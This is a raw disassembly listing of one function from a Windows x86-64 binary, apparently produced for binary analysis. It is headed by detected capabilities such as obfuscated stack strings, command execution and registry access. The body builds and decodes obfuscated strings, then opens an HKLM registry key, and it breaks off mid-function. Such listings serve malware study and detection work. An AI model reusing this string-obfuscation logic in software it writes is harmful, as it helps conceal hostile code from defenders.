Function at 0x1400d0b40
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xb8]
sub rsp, 0x1b8
movzx edx, byte [rbp + 0xf0]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp + 0xf8], 4
movups xmmword [rbp + 0x27], xmm0
mov word [rbp + 0x37], ax
movabs rsi, 0x5a360eb294ba617f
mov dword [rbp - 0x30], 0x4f4d52b3
movabs rdi, 0x666f34a63349ff6b
mov dword [rbp - 0x2c], 0x3a50423d
movabs r14, 0x2be684473a8d6d77
mov dword [rbp - 0x28], 0x54626369
movabs r15, 0xea22c17be2f247d
mov dword [rbp - 0x24], 0x6631616c
mov dword [rbp - 0x20], 0x7a7a7d68
mov dword [rbp - 0x1c], 0x7b4b5876
mov dword [rbp - 0x18], 0x7d712442
mov dword [rbp - 0x14], 0x7b757776
mov dword [rbp - 0x10], 0x4d7f1d4a
mov dword [rbp - 0xc], 0x667b7841
mov dword [rbp - 8], 0x77427249
mov dword [rbp - 4], 0x7071607e
mov dword [rbp], 0x505a6a48
mov dword [rbp + 4], 0x7760585b
mov dword [rbp + 8], 0x51675145
mov dword [rbp + 0xc], 0x56515e54
mov dword [rbp + 0x10], 0x1d267e54
mov dword [rbp + 0x14], 0x18192f2b
mov dword [rbp + 0x18], 0x1721741a
mov dword [rbp + 0x1c], 0x232a0e15
mov dword [rbp + 0x20], 0x303a3011
mov word [rbp + 0x24], 0x263e
mov byte [rbp + 0x26], 0xac
nop dword [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x69
jae 0x1400d1760
movzx r10d, byte [rbp + rbx - 0x30]
mov r11d, r10d
cmp r8, rbx
ja 0x1400d1757
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d0c8d
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
sub dl, al
sub dl, 0x79
add dl, r10b
jmp 0x1400d0cc0
je 0x1400d16f3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d16c7
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d168a
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d1647
nop word [rax + rax]
cmp r9, rbx
ja 0x1400d174e
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400d0cec
lea rcx, [rbx + rdi]
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
jmp 0x1400d0d40
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d162c
inc rax
cmp r8, rax
je 0x1400d160d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d15ef
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d15d6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d1565
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d153e
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d1276
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d1255
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d1230
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d120e
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400d11ed
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d11ce
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d11b2
lea rcx, [r9 + 0x41]
cmp r8, rcx
je 0x1400d1196
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d117a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d1150
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400d0d50
lea r9, [rcx + 0x28]
mov r8, rcx
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400d1734
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400d171a
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x1400d0f35
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x1400d0f1c
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400d0f03
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x1400d110b
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400d10c7
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400d108c
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400d106c
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400d0d50
lea r8, [r9 + 5]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d1042
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d1026
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d100a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d0fee
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400d0fcf
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400d0faf
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d0f8d
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d0f6b
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d0f4e
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d0d50
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x10]
jmp 0x1400d0d50
lea ecx, [rbx - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4d
jmp 0x1400d0d40
lea ecx, [rbx - 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3f
jmp 0x1400d0cc0
lea ecx, [rbx - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x31
jmp 0x1400d0c65
lea ecx, [rbx + 0x58]
movzx r11d, bl
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x68
jmp 0x1400d1660
lea ecx, [rbx + 0x5a]
inc r9
movzx eax, cl
dec rbx
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x76
inc rbx
jmp 0x1400d0c52
lea edx, [rbx + 0x5c]
mov ecx, 0x3e
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d0c52
lea edx, [rbx + 0x5e]
mov ecx, gethostname
movzx eax, dl
movzx r11d, bl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16a3
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r8, r9
jmp 0x1400d16db
lea edx, [rbx + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16db
lea edx, [rbx + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d1579
lea edx, [rbx + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d159c
lea edx, [rbx + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x1400d0c52
lea ecx, [rbx - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7b
mov byte [rbp + rbx - 0x30], dl
inc rbx
jmp 0x1400d0c52
lea ecx, [rbx - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x77
cmp r9, 5
jb 0x1400d1080
movzx r11d, bl
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x6c]
jmp 0x1400d1660
lea ecx, [rbx - 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x69
cmp r8, 0x41
jae 0x1400d1500
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400d1431
lea edx, [rbx - 0x52]
mov ecx, Ordinal_35
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d10a0
lea ecx, [rbx - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x5b
lea rax, [r9 + r8]
cmp rax, 8
je 0x1400d1524
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400d136e
lea ecx, [rbx + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2b
jmp 0x1400d10db
lea edx, [rbx - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x1400d0c52
lea edx, [rbx - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d159c
lea edx, [rbx - 0x7a]
mov ecx, Ordinal_45
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d1579
lea edx, [rbx - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16db
lea edx, [rbx - 0x76]
mov ecx, Ordinal_32
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
add r8, r9
jmp 0x1400d16db
movzx r11d, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16a3
lea edx, [rbx - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d0c52
lea edx, [rbx - 0x70]
mov ecx, 8
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d0c52
movzx r11d, bl
mov ecx, 1
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d1660
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400d1298
lea ecx, [rbx + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x79
jmp 0x1400d111f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d12cb
lea edx, [rbx - 0x2a]
mov ecx, reloc.WS2_32.dll_send
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x1400d0c52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d12f0
lea edx, [rbx - 0x2e]
mov ecx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d1579
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d1315
lea edx, [rbx - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16db
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d133f
movzx r11d, bl
mov ecx, gethostname
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16a3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d111f
lea edx, [rbx - 0x36]
mov ecx, 0x3d
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc rbx
jmp 0x1400d0c52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1395
movzx r11d, bl
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x39
jmp 0x1400d1660
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d13bd
lea ecx, [rbx + 0x3d]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x55
inc rbx
jmp 0x1400d0c52
cmp r8, rcx
jne 0x1400d13db
lea ecx, [rbx + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7f
jmp 0x1400d16db
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d13fd
lea ecx, [rbx + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x73
jmp 0x1400d1579
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d10db
lea ecx, [rbx + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
lea edx, [r10 + rcx]
sub dl, 0x57
inc rbx
jmp 0x1400d0c52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1464
lea edx, [rbx - 0x54]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r10b
inc rbx
jmp 0x1400d0c52
inc rax
cmp r8, rax
jne 0x1400d1488
lea edx, [rbx - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d16db
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d14ad
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7c
add r8, r9
jmp 0x1400d16db
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d14d4
movzx r11d, bl
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6e
jmp 0x1400d16a3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d10a0
lea ecx, [rbx - 0x60]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x60
inc rbx
jmp 0x1400d0c52
movzx ecx, byte [rbp + rbx - 0x30]
movzx r11d, bl
lea edx, [r11 - 0x68]
movzx eax, dl
sub dl, 0x28
and al, r10b
add al, al
sub cl, al
add dl, cl
add dl, r10b
jmp 0x1400d16a3
lea ecx, [rbx - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rbx - 0x30]
lea edx, [r10 + rcx]
sub dl, 0x1a
jmp 0x1400d1579
lea ecx, [rbx + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
lea edx, [r10 + rcx]
sub dl, 0x6f
inc rbx
jmp 0x1400d0c52
lea ecx, [rbx + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x75
lea ecx, [rbx + 0x15]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x6d
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx - 0x30], al
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x6c]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0xc
add cl, r10b
mov byte [rbp + rbx - 0x30], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0c52
lea ecx, [rbx + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x67
jmp 0x1400d16db
movzx r11d, bl
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4b
jmp 0x1400d16a3
lea ecx, [rbx + 0x65]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3d
inc rbx
jmp 0x1400d0c52
movzx r11d, bl
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x21
jmp 0x1400d1660
movzx r11d, bl
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 5
add r11b, 0x19
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x51
add r11b, r10b
mov byte [rbp + rbx - 0x30], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400d0c52
movzx r11d, bl
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x25
add r11b, 0x17
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x5f
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx - 0x30], r11b
add r8, r9
jmp 0x1400d16db
lea rax, [rbx + r14]
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [r10 + rax]
sub dl, 0x41
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400d0c52
lea rax, [rbx + r15]
and r11b, al
add r11b, r11b
sub al, r11b
lea edx, [r10 + rax]
sub dl, 0x6b
movzx eax, byte [rbp + rbx - 0x30]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400d0c52
sub bl, 5
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
add dl, 0x23
jmp 0x1400d0c50
sub bl, 3
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea edx, [rbx + r10]
add dl, 0x15
jmp 0x1400d0c40
lea rdx, [rbp + 0x1798124]
jmp 0x1400d1764
lea rdx, [rbp + 0xb3e2a3]
jmp 0x1400d1764
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x100]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400d443c
movzx edx, byte [rbp + 0xf0]
xor eax, eax
mov qword [rsp + 0x1b0], r12
movabs rsi, 0x72c8d1b4529dd73e
mov qword [rbp + 0x48], rax
movabs r15, 0x237dbbee4250e2b2
mov word [rbp + 0x50], ax
movabs r12, 0x3dec18859d153436
mov byte [rbp + 0x52], al
movabs r14, 0x585a751cf7d985ba
mov dword [rbp + 0x40], 0x55531fc9
mov dword [rbp + 0x44], 0xf752545c
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
cmp rbx, 0x13
jae 0x1400d22d5
movzx r11d, byte [rbp + rbx + 0x40]
mov r10, r11
cmp r8, rbx
ja 0x1400d22cc
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d1831
lea rcx, [rbx + rsi]
mov edx, Ordinal_41
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x1400d1877
je 0x1400d2269
inc rax
cmp r8, rax
je 0x1400d2214
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d21d3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d2180
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d2161
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d211c
cmp r9, rbx
ja 0x1400d22c3
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400d18a2
lea edx, [rbx + 0x16]
mov ecx, 0x33
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d18e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d20fe
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d20dc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d20c0
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d2099
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d1e12
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d1df4
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d1dcf
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d1db0
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d1d8f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d1d76
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400d1d5d
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d1d41
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d1d28
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d1cfe
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d18f0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d22aa
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d2291
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d1ae8
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400d1acf
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400d1ab3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d1cb7
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d1c76
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400d1c36
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400d1c16
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400d18f0
lea r8, [r9 + 0x20]
lea r9, [r8 + 4]
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400d1bec
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d1bd3
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d1bba
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400d1b9e
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d1b85
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d1b65
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d1b46
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d1b24
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400d1b04
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d18f0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x5a]
jmp 0x1400d18f0
lea edx, [rbx - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d18e0
lea ecx, [rbx + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x42
jmp 0x1400d1877
lea edx, [rbx - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d1802
lea edx, [rbx - 0x50]
mov ecx, Ordinal_27
movzx eax, dl
movzx r10d, bl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d2135
lea ecx, [rbx + 0x34]
inc r9
movzx eax, cl
dec rbx
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
inc rbx
jmp 0x1400d17f2
lea ecx, [rbx - 0x48]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
inc rbx
jmp 0x1400d17f2
lea edx, [rbx + 0x3c]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, dl
movzx r10d, bl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d2199
lea ecx, [rbx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x1400d21b8
lea edx, [rbx + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21bb
lea ecx, [rbx - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
jmp 0x1400d21ef
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x14
jmp 0x1400d222f
lea edx, [rbx - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r11b
inc rbx
jmp 0x1400d17f2
lea ecx, [rbx - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x36
mov byte [rbp + rbx + 0x40], dl
inc rbx
jmp 0x1400d17f2
lea edx, [rbx + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0x64
jb 0x1400d1c2a
movzx r10d, bl
mov edx, 0xa
lea ecx, [r10 - 0x4c]
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400d2135
lea ecx, [rbx - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
cmp r8, 0x20
jae 0x1400d205e
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400d1f9c
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 4
jmp 0x1400d1c4d
lea ecx, [rbx + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xa
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400d2082
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400d1edc
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6a
jmp 0x1400d1c8a
lea edx, [rbx - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx eax, dl
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add cl, cl
add rax, r9
add dl, cl
add rbx, rax
add dl, r11b
inc rbx
jmp 0x1400d17f2
lea ecx, [rbx + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
jmp 0x1400d222f
lea edx, [rbx - 0x74]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d21ef
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400d21bb
lea ecx, [rbx - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1400d21b8
movzx r10d, bl
mov ecx, Ordinal_45
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d2199
lea ecx, [rbx - 0x64]
dec rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
inc rbx
jmp 0x1400d17f2
lea edx, [rbx + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
inc r9
and al, r11b
dec rbx
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc rbx
jmp 0x1400d17f2
movzx r10d, bl
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7c
jmp 0x1400d2135
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400d1e37
lea edx, [rbx + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400d1ccb
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d1e67
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx + 0x40]
add rax, r9
add rbx, rax
